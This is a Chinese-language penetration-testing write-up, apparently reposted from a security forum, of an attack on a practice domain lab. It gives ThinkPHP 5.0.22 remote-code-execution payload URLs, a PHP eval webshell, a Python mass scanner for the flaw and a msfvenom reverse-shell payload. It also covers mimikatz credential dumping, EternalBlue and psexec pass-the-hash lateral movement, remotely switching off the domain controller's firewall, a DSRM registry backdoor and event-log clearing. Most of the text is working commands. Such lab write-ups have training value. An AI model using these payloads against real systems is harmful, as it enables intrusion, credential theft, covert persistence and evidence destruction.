一次簡單的內網滲透靶場實戰


0x00 前言

在內網滲透的過程中思路才是最重要的,本次內網滲透的主機雖然不多,主要還是鍛煉自己內網滲透的一個思想。

0x01 環境搭建

靶場:

win7(內):192.168.138.136

win7(外):192.168.10.25

域內主機:

win2008:192.168.138.138

0x03 web服務器滲透

nmap探測端口

nmap -T4 -sC -sV 192.168.10.25

這里可以看到幾個主要的端口,例如80、135、139、445,這里首先就可以想到可以利用的點有ipc、smb

開了80端口,嘗試訪問web地址,老笑臉人了,而且還是5.x版本,洞還是比較多

為了確定具體版本,這里先使用報錯查看,發現這里的版本為5.0.22,如果沒記錯的話這里是有一個tp遠程命令執行漏洞的

漏洞描述:由於thinkphp對框架中的核心Requests類的method方法提供了表單請求偽造,該功能利用$_POST['_method']來傳遞真實的請求方法。但由於框架沒有對參數進行驗證,導致攻擊者可以設置$_POST['_method']='__construct'而讓該類的變量被覆蓋。攻擊者利用該方式將filter變量覆蓋為system等函數名,當內部進行參數過濾時便會進行執行任意命令。

thinkphp getshell

這里我首先在kali里面找一下有沒有相關的漏洞

searchsploit thinkphp

可以看到這里有一個5.x遠程執行漏洞,這里直接進入這個文件夾查看一下txt列出來的payload

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

找到對應版本后fuzz以下payload,這個是列出數據庫名字,這里看到數據庫名為root

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

這個payload應該是列出數據庫密碼,但是這里沒有打出來

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

這里打出phpinfo

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

傳參看一下當前權限為administrator

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

看一下ip情況,雙網卡,那么大概率有域環境

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

看一下進程,發現無殺軟那么嘗試不用免殺直接寫webshell

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

這里直接嘗試echo寫一個一句話木馬進去,這里因為之前查看過沒有殺軟跟安全狗,這里就不需要做免殺處理

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php

這里用dir驗證一下是否寫入成功

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

使用蟻劍連接成功

thinkphp批量檢測

這里我思考了一個問題,thinkphp的版本這么多,如果kali里面的漏洞庫沒有,而在搜索引擎上去搜索又太耗費時間,有沒有一個批量檢測thinkphp漏洞的腳本呢?

這里我找到了一個thinkphp漏洞批量檢測的腳本

# !/usr/bin/env python
# -*- coding: utf-8 -*-

# name: thinkphp遠程代碼檢測
# description: ThinkPHP5 5.0.22/5.1.29 遠程代碼執行漏洞



import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
    def __init__(self, q):
        threading.Thread.__init__(self)
        self.q = q
    def run(self):
        while not self.q.empty():
            url=self.q.get()
            headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
            payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
            vulnurl = url + payload
            try:
                response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)

                soup = BeautifulSoup(response.text,"lxml")
                if 'PHP Version' in str(soup.text):
                    print ('[+] Remote code execution vulnerability exists at the target address')
                    print ('[+] Vulnerability url address ' + vulnurl)
                    with open('target.txt','a') as f1:
                        f1.write(vulnurl+'\n')
                    f1.close()
                else:
                    print ('[-] There is no remote code execution vulnerability in the target address')
            except:
                print ('[!] Destination address cannot be connected')
def urlget():
    with open('url.txt','r')as f:
        urls=f.readlines()
        for tmp in urls:
            if '//' in tmp:
                url=tmp.strip('\n')
                urlList.append(url)
            else:
                url='http://'+tmp.strip('\n')
                urlList.append(url)
        return(urlList)
    f.close()

if __name__=="__main__":
    print('''----------------掃描開始-------------------

*Made by  :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN


              _______   _                         _               
             |__   __| | |                       (_)              
                | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                             __/ |
                                                            |___/ 
            ''')
    urlList=[]
    urlget()
    threads = []
    threads_count = 10
    q=queue.Queue()
    for url in urlList:
        q.put(url)
    for i in range(threads_count):
        threads.append(thinkphp_rce(q))
    for i in threads:
        i.start()
    for i in threads:
        i.join()

這里的使用方法很簡單:將要檢測的目標放在url.txt里面,如果存在漏洞的地址將自動生成一個target.txt文本保存

0x04 內網信息搜集

這里使用蟻劍的命令窗口搜集一下本機信息,為administrator權限+雙網卡

whoamiipconfig

查看一下域相關信息

net view
net config workstationnet
 user /domain

0x05 內網滲透

上線msf

msf生成一個abc.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe

使用蟻劍上傳到靶機上

這里因為沒有殺軟不用做免殺,直接命令行執行即可

msf開啟監聽即可上線

信息搜集

使用getsystem提權到system,這里因為是靶場的原因getsystem比較容易執行成功

提權后獲取一個windows環境下的shell繼續對域進行信息搜集

chcp 65001
net user /domai
nnet group "domain computers" /domain
net group "domain controllers" /domainnet group "domain admins" /domain

靶機存在一個名為“sun”的域環境,只有一個域控,這里我直接ping一下域控得到域控ip為192.168.138.138

獲取憑證

這里因為有兩個網段就先把路由添加上方便后續操作

# msf操作route add 192.168.138.0 255.255.255.0 2route print    # session操作run autoroute -s 192.168.138.0/24run autoroute -p

這里選擇session,使用kiwi來獲取靶機密碼,注意這里需要進行的一個操作為進程遷移,因為我們這里上線到msf的載荷是32位的(即x86),這里需要找一個64位的(即x64)進行進程遷移才能使用kiwi獲取靶機密碼

sessions -i 2
load kiwi
kiwi_cmd privilege::debug
ps
migrate 1144
kiwi_cmd sekurlsa::logonPasswords

這里可以看到抓取到了一個域管的密碼為dc123.com和一個靶機的密碼123.com

思路

這里抓到了靶機和域管的密碼,那么這里就可以用pth的方法進行橫向移動,這是第一種方法;另外我們可以去檢測一下在另一個網段的機器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp進行橫向移動,這是第二種方法;因為我們之前在用nmap對端口進行掃描的時候是發現了139和445端口的,那么我們拿到了密碼的情況下可以嘗試使用ipc+計划任務的方式進行橫向移動

0x06 內網橫向移動

MS17-010嘗試

這里直接使用ms17-010的攻擊模塊進行嘗試,這里其實應該先用掃描模塊對處於另一網段的主機進行漏洞掃描,若存在永恆之藍漏洞才繼續使用exp模塊進行攻擊,這里我為了演示方便就直接上手exp模塊進行攻擊了

這里攻擊可以看到,雖然靶機存在永恆之藍漏洞但是session反彈不成功,這里是因為在windows server2008的情況下匿名管道是默認不開啟的。

我們知道psexec的原理就是使用了管道,ipc連接也同理。那么在匿名管帶不開啟的情況下永恆之藍的連接是建立不上的。這里再說一下匿名管道的概念:

管道是IPC最基本的一種實現機制。我們都知道在Linux下“一切皆文件”,其實這里的管道就是一個文件。管道實現進程通信就是讓兩個進程都能訪問該文件。管道的特征:①只提供單向通信,也就是說,兩個進程都能訪問這個文件,假設進程1往文件內寫東西,那么進程2 就只能讀取文件的內容。②只能用於具有血緣關系的進程間通信,通常用於父子進程建通信③管道是基於字節流來通信的④依賴於文件系統,它的生命周期隨進程的結束結束(隨進程)⑤其本身自帶同步互斥效果

psexec嘗試

因為我們已經拿到了域管的帳號那么我們這里就直接使用pth的方法,即哈希傳遞,使用的是psexec模塊,不過這個模塊因為被使用太多導致已經被殺軟列入了黑名單,如果這里有殺軟存在的情況下psexec橫向移動是會被攔截的。

設置參數如下所示,這里注意一下SMBPass這個地方也能夠通過hash進行傳遞,也能夠通過明文密碼進行傳遞

use exploit/windows/smb/psexec
set rhost 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
run

這里可以看到exp已經利用了但是沒有session反彈回來,這里我猜測是以為防火牆阻止了端口流量的進出,所以這里我們就需要通過ipc連接去關閉域控的防火牆

ipc連接關閉域控防火牆

這里的常規方法是使用netsh關閉域控防火牆,但是這里需要域控的管理員權限,所以在這里我們就直接使用ipc連接域控然后使用計划任務添加規則關閉防火牆

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"

將session掛在后台並與域控建立ipc連接

net use \\192.168.138.138\ipc$ dc123.com /user:administrator

這里可以看到連接已經建立成功了

利用sc創建計划任務立即啟動關閉域控的防火牆

sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    # 創建服務sc \\192.168.138.138 start unablefirewall    # 立即啟動服務

這里可以看到防火牆已經被關閉了

psexec嘗試*2

這時候我們再使用psexec進行橫向移動就能夠獲得session,至此我們就拿到了域控的權限

這里看一下我們直接拿到的就是一個system權限的session

0x07 登錄遠程桌面

這里我想登錄遠程桌面看看域控還有什么有價值的東西就可以使用socks代理正向進入內網

使用socks_proxy模塊

use auxiliary/server/socks_proxt
set viersion 4a
run

這里還需要配置proxychain文件

socks4 192.168.10.11 1080

添加一個內網網段的路由

run autoroute -s 192.168.138.0/24
run autoroute -p

然后使用proxychain命令即可登錄遠程桌面

proxychain4 rdesktop 192.168.138.138

登錄域控如圖所示

0x07 權限維持

權限維持的方法有很多種,這里我挑了一個使用得不是很多的方法來進行練習加以鞏固

DSRM后門

何為DSRM后門?

DSRM是Windows域環境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬號(也就是DSRM賬號)。DSRM的用途是:允許管理員在域環境出現故障或崩潰時還原、修復、重建活動目錄數據庫,使域環境的運行恢復正常。在域環境創建初期,DSRM的密碼需要在安裝DC時設置,且很少會被重置。修改DSRM密碼最基本的方法是在DC上運行 ntdsutil 命令。

在滲透測試中,可以使用DSRM賬號對域環境進行持久化操作。我們知道,每個DC都有本地管理員(administrator)賬號和密碼(與域管理員賬號密碼不同)。DSRM賬號可以作為每個域控制器的本地管理員用戶,通過網絡連接域控制器,進而控制域控制器。

注意:該類持久化操作適用的服務器版本:Windows Server 2008及以后版本的Windows服務器。

在域控制器上,DSRM賬號的表現形式是本地的管理員 Administrator 用戶,也就是說本地管理員 Administrator 用戶等於DSRM賬號。

首先,為 DSRM 賬號設置新密碼。在域控制器(Windows 2008)的cmd中進入ntdsutil,然后輸入下面命令進行修改DSRM賬戶的密碼:

ntdsutil    // 進入ntdsutil
set dsrm password    // 設置DSRM賬戶的密碼
reset password on server null    // 在當前域控制器上恢復DSRM密碼<password>   
 // 輸入新密碼<password>   
 // 重新輸入新密碼
q    //退出DSRM密碼設置模式q  
  // 退出ntdsutil

然后再使用kiwi抓取ntml hash

然后,我們修改域控主機的DSRM賬戶登錄方式。在Windows Server 2000以后的版本操作系統中,對DSRM使用控制台登錄域控制器進行了限制。我們可以在注冊表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior項進行設置,將該新建的項中的值設為0、1、2可以分別設置不同的DSRM賬戶登錄方式:

0:默認值,只有當域控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號

1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登錄域控制器

2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器

如下所示,我們用powershell命令將DSRM的登錄方式設置為“2”,即在任何情況下,都可以使用DSRM管理員賬號登錄域控制器:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

使用win7上的mimikatz進行hash傳遞即可獲取到域控權限

privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09

0x08 日志清除

日志清除有兩種方法,一種是使用kali里面自帶的命令進行日志清除

run event_manager -i
run event_manager -c

第二種方法則是進入服務器管理器自行清除


0x09  總結

1.通過NAMP對目標外網主機進行端口探測,發現80,135,139,445端口開放

nmap -T4 -sC -sV 192.168.10.25

2.訪問web 80端口,發現目標系統是thinkphpv5.0框架開發。通過訪問http://192.168.10.25/?s=10來報錯查看具體版本為thinkphp5.0.22

3.通過searchsploit搜索thinkphp漏洞,可以看到一個5.x遠程執行漏洞可利用

searchsploit  thinkphp

4.進入目錄,並查看可利用的POC

cd /usr/share/exploitdb/exploits/php/webapps

cat 46150.txt

5.找到對應版本后fuzz以下payload,這個是列出數據庫名字,這里看到數據庫名為root

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

6.列出數據庫密碼

192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

7.執行遠程命令執行,這里執行phpinfo

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8.查看當前系統權限,發現是administrator

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

9.查看IP地址

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

10.查看進程,發現沒有殺軟

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

11.嘗試echo寫入一句話木馬

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php

12.嘗試查看寫入情況,發現已成功寫入成功。

192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

13.通過蟻劍成功連接一句話

14.通過蟻劍的命令終端使用命令查看服務器基本信息

whoami   //查看服務器權限

ipconfig  //查看服務器IP地址,發現有2個網卡,一個外網IP地址為192.168.10.25,一個內網IP地址192.168.138.136

net  view  //查看該網段的計算機名,一個為DC,一個為win7

net  config  workstation //查看本機計算機全名為win7.sun.com,棣屬於sun.com域

net  user  /domian     //查看域用戶,發現發生錯誤

15.msf下生成一個abc.exe

msfvenom  -p  windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe

16.通過蟻劍將abc.exe上傳到外網服務器上,並執行

c:/phpsutudy/phptutorial/www/pubilc/abc.exe

17.msf開啟並監聽,成功上線

use  exploit/multi/handler

set  payload   windows/meterpreter/reverse_tcp 

set lhost  192.168.10.11

set  lport  4444

run

18.使用getsystem提權到system

meterpreter>getuid  //查看當前權限

meterpreter>getsystem  //提權到system權限

meterpreter>getuid  //查看當前權限,發現 成功提權

19.獲取一個windows環境下的shell繼續對域進行信息搜集

meterpreter>shell  //進入到外網目標系統的CMD命令環境中

c:>chcp 65001  //CMD命令下中文亂碼解決

c:>net user   /domain  //查看域用戶,發現存在admin,administrator,guest,krbtgt,leo用戶

c:>net group "domain  computers"  /domain   //查看域計算機,發現一個win7$主機名

c:>net group "domain  controllers" /domain    //查看域控制主機名為dc$

c:> net group "domain admins" /domain   //查看域管理員組

c:>ping dc.sun.com  //查看域主機的IP,發現IP為192.168.138.138

20.這里外網目標系統上有兩個網段就先把路由添加上

c:>exit  //退出shell終端 

meterpreter>background  //返回MSF終端

MSF>route  add  192.168.138.0  255.255.255.0   //添加動態路由

MSF>rotue print   //查看動態路由

MSF>sessions  -i  2

meterpreter> run  autoroute  -s   192.168.138.0/24  //在msterprter終端使其動態路由生效

meterpreter>run autoroute  -p   //列出動態路由

21.使用kiwi來獲取靶機密碼,注意這里需要進行的一個操作為進程遷移,因為我們這里上線到msf的載荷是32位的(即x86),這里需要找一個64位的(即x64)進行進程遷移才能使用kiwi獲取靶機密碼

meterpreter>load kiwi  //加載mimikatz模塊

meterpreter>ps   //查看進程,這里的spoolsv.exe的進程為1144,系統權限為system,且為64位

meterpreter>kiwi_cmd  privilege::debug  //進行提權

meterpreter>migrate 1144  //遷移到spoolsv.exe的進程上

meterpreter>kiwi_cmd sekurlsa::logonPasswords    //獲取到了一個域管(administorator)的密碼為dc123.com和一個用戶leo的密碼123.com

22.通過嘗試ms17-010進行橫向移動,發現無法反彈成功,顯示匿名管道沒有開啟或者找不到

meterpreter>backgroud

msf>use  exploit/windows/smb/ms17_010_eternalblue

msf>set rhost  192.168.138.138

msf>set  lhost  19,268.10.11

msf>set  lport  4444

msf>set rport  445

msf>run


23.通過嘗試psexec進行橫向移動,發現無法橫向,流量被防火牆攔截了。

msf>use exploit/windows/smb/psexec

msf>set rhost 192.168.138.138

msf>set SMBDomain SUN

msf>set SMBUser administrator

msf>set SMBPass dc123.com

msf>set payload windows/meterpreter/bind_tcp

msf>run

24.使用netsh關閉域控防火牆,這里需要域控的管理員權限,所以直接使用ipc連接域控,然后使用計划任務添加規則關閉防火牆.

msf>sessions -i  2

meterpreter>shell   //進入到內網目標系統的CMD命令環境中

c:>chcp 65001

c:>net use \\192.168.138.138\ipc$ dc123.com /user:administrator  //建立DC的IPC$鏈接

c:>net use

25.利用sc創建計划任務立即啟動關閉域控的防火牆

c:> sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    //創建服務sc 

c:> sc \\192.168.138.138 start unablefirewall    #啟動計划任務,並成功關閉防火牆

25.再次通過嘗試psexec進行橫向移動,發現可以橫向移動

msf>sessions -i  4

meterpreter>getuid  //獲取到域控主機去玩笑是system權限

meterpreter>background

meterpreter>sessions  //查看當前會話,含有2個會話shell鏈接

26.使用socks代理正向進入內網,並進行遠程桌面登錄

meterpreter>background

msf>use auxiliary/server/socks_proxt   //使用socks代理模塊

msf>set viersion 4a  //使用socks4代理

msf>run

27.添加一個內網動態路由

msf>sessions -i  3

meterpreter>run  autoroute  -s   192.168.138.0/24

meterpreter>run autoroute -p

meterpreter>background

msf>set session  4

msf>run

28.進行遠程桌面登錄,這里需要在proxychain下的配置文件中添加:socks4 192.168.10.11 1080

proxychain4 rdesktop 192.168.138.138

29.DSRM后門進行權限維持,在域控制器上,DSRM賬號的表現形式是本地的管理員 Administrator 用戶,也就是說本地管理員 Administrator 用戶等於DSRM賬號。

30.DSRM 賬號設置新密碼。在域控制器(Windows 2008)的cmd中進入ntdsutil,然后輸入下面命令進行修改DSRM賬戶的密碼:

ntdsutil    // 進入ntdsutil 

ntdsutil: set dsrm password    // 設置DSRM賬戶的密碼

reset password on server null    // 在當前域控制器上恢復DSRM密碼<password>  

                                                // 輸入新密碼<password>    

                                               // 重新輸入新密碼

q                                            //退出DSRM密碼設置模式

q                                             // 退出ntdsuti


31.使用kiwi抓取DC的ntml hash

meterpreter>load kiwi

meterpreter>kiwi_cmd  privilege::debug

meterpreter>kiwi_cmd  token::elevate

meterpreter>kiwi_cmd  lsadump::sam

32.修改域控主機的DSRM賬戶登錄方式,在Windows Server 2000以后的版本操作系統中,對DSRM使用控制台登錄域控制器進行了限制。我們可以在注冊表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior項進行設置,將該新建的項中的值設為0、1、2,可以分別設置不同的DSRM賬戶登錄方式,這里設置為2.

0:默認值,只有當域控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號

1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登錄域控制器

2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器

33.用powershell命令將DSRM的登錄方式設置為“2”,即在任何情況下,都可以使用DSRM管理員賬號登錄域控制器:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

33.使用win7上的mimikatz進行hash傳遞即可獲取到域控權限

privilege::Debug

sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09

34.日志清除,kali下執行,或者通過遠程桌面登錄在事件查看器中直接清除日志

meterpreter>run  event_manager  -i

meterpreter>run event_manager -c



原文連接: https://xz.aliyun.com/t/9807


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM